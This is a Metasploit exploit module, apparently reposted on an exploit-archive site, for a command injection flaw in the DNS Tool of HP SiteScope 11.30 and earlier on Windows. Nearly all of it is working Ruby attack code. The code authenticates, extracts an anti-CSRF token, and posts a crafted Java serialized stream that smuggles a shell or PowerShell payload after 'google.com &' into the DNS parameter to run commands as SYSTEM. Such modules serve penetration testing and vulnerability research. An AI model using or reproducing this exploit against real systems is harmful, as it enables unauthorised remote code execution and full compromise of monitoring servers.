Home / os / winmobile

HP SiteScope DNS Tool Command Injection

Posted on 10 October 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/powershell'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Powershell

 def initialize(info={})
 super(update_info(info,
 'Name' => 'HP SiteScope DNS Tool Command Injection',
 'Description' => %q{
 This module exploits a command injection vulnerability
 discovered in HP SiteScope 11.30 and earlier versions (tested in 11.26
 and 11.30). The vulnerability exists in the DNS Tool allowing an
 attacker to execute arbitrary commands in the context of the service. By
 default, HP SiteScope installs and runs as SYSTEM in Windows and does
 not require authentication. This vulnerability only exists on the
 Windows version. The Linux version is unaffected.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'Kirk Hayes', # @kirkphayes / Vulnerability Discovery and MSF module author
 'Charles Riggs', # c0v3rt_chann3l / Vulnerability Discovery
 'Juan Vazquez' # help with MSF module
 ],
 'References' =>
 [
 ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/10/09/r7-2015-17-hp-sitescope-dns-tool-command-injection'],
 ['URL', 'http://www8.hp.com/us/en/software-solutions/sitescope-application-monitoring/index.html'] # vendor site
 ],
 'Platform' => 'win',
 'Targets' =>
 [
 [ 'HP SiteScope 11.30 / Microsoft Windows 7 and higher',
 {
 'Arch' => [ARCH_X86_64, ARCH_X86]
 }
 ],
 [ 'HP SiteScope 11.30 / CMD',
 {
 'Arch' => [ARCH_CMD]
 }
 ]
 ],
 'Privileged' => false,
 'DefaultTarget' => 0,
 'DisclosureDate' => 'Oct 9 2015'))

 register_options(
 [
 Opt::RPORT(8080),
 OptString.new('SITE_SCOPE_USER', [false, 'Username for authentication', '']),
 OptString.new('SITE_SCOPE_PASSWORD', [false, 'Password for authentication', '']),
 OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
 ], self.class)
 end

 def exploit
 initial_session = get_initial_session_id
 redirect = authenticate(initial_session)
 session = get_authenticated_session_id(initial_session, redirect)
 csrf_token = get_csrf_token(session)

 print_status("#{peer} - Executing payload")
 random_mark = Rex::Text.rand_text_alpha(5 + rand(5))
 res = send_request_cgi(
 {
 'uri' => normalize_uri(target_uri.path.to_s, 'remoteProxy'),
 'method' => 'POST',
 'vars_get' => {
 'OWASP_CSRFTOKEN' => csrf_token
 },
 'cookie' => session,
 'ctype' => 'application/octet- serializable object',
 'data' => build_stream(random_mark)
 }, 5)

 if res && res.code == 200 && res.body
 res_io = StringIO.new(res.body.to_s)
 res_stream = Rex::Java::Serialization::Model::Stream.decode(res_io)
 return if res_stream.nil?
 show = false
 res_stream.references.each do |ref|
 if ref.class == Rex::Java::Serialization::Model::Utf && show
 print_good(ref.contents)
 next
 elsif ref.class == Rex::Java::Serialization::Model::Utf && ref.contents.include?(random_mark)
 show = true
 next
 end
 end
 end
 end

 def get_initial_session_id
 print_status("#{peer} - Retrieving an initial JSESSIONID...")
 res = send_request_cgi(
 'uri' => normalize_uri(target_uri.path.to_s, 'servlet', 'Main'),
 'method' => 'POST'
 )

 if res and res.code == 200 and res.get_cookies.include?('JSESSIONID')
 session_id = res.get_cookies
 else
 fail_with(Failure::Unknown, "#{peer} - Retrieve of initial JSESSIONID failed")
 end

 session_id
 end

 def authenticate(session_id)
 print_status("#{peer} - Authenticating on HP SiteScope Configuration...")
 res = send_request_cgi(
 {
 'uri' => normalize_uri(target_uri.path.to_s, 'j_security_check'),
 'method' => 'POST',
 'cookie' => session_id,
 'vars_post' => {
 'j_username' => datastore['SITE_SCOPE_USER'],
 'j_password' => datastore['SITE_SCOPE_PASSWORD']
 }
 })

 if res && res.code == 302
 redirect = URI(res.headers['Location']).path
 else
 fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
 end

 redirect
 end

 def get_authenticated_session_id(session_id, redirect)
 print_status("#{peer} - Following redirection to finish authentication...")

 res = send_request_cgi(
 {
 'uri' => redirect,
 'method' => 'GET',
 'cookie' => session_id
 })

 if res && res.code == 200 && res.get_cookies.include?('JSESSIONID')
 auth_session = res.get_cookies
 else
 fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
 end

 auth_session
 end

 def get_csrf_token(session)
 print_status("#{peer} - Getting anti-CSRF token...")
 res = send_request_cgi(
 'uri' => normalize_uri(target_uri.path.to_s, 'jsp', 'tabs.jsp'),
 'cookie' => session
 )

 if res && res.code == 302 && res.headers['Location'] =~ /OWASP_CSRFTOKEN=([A-Z0-9-]+)/
 csrf_token = $1
 else
 fail_with(Failure::Unknown, "#{peer} - Failed to get anti-CSRF token")
 end

 csrf_token
 end

 def build_stream(random_mark)
 site = "google.com & echo #{random_mark} & "
 if target.arch.include?('cmd')
 command = payload.encoded
 else
 command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
 end

 file = File.join( Msf::Config.data_directory, 'exploits', 'CVE-pending', 'stream.raw')

 f = File.new(file, 'rb')
 stream = Rex::Java::Serialization::Model::Stream.decode(f)
 f.close

 dns_param = stream.references[0x44]
 dns_param.contents = site + command
 dns_param.length = dns_param.contents.length

 stream.encode
 end
end

 

TOP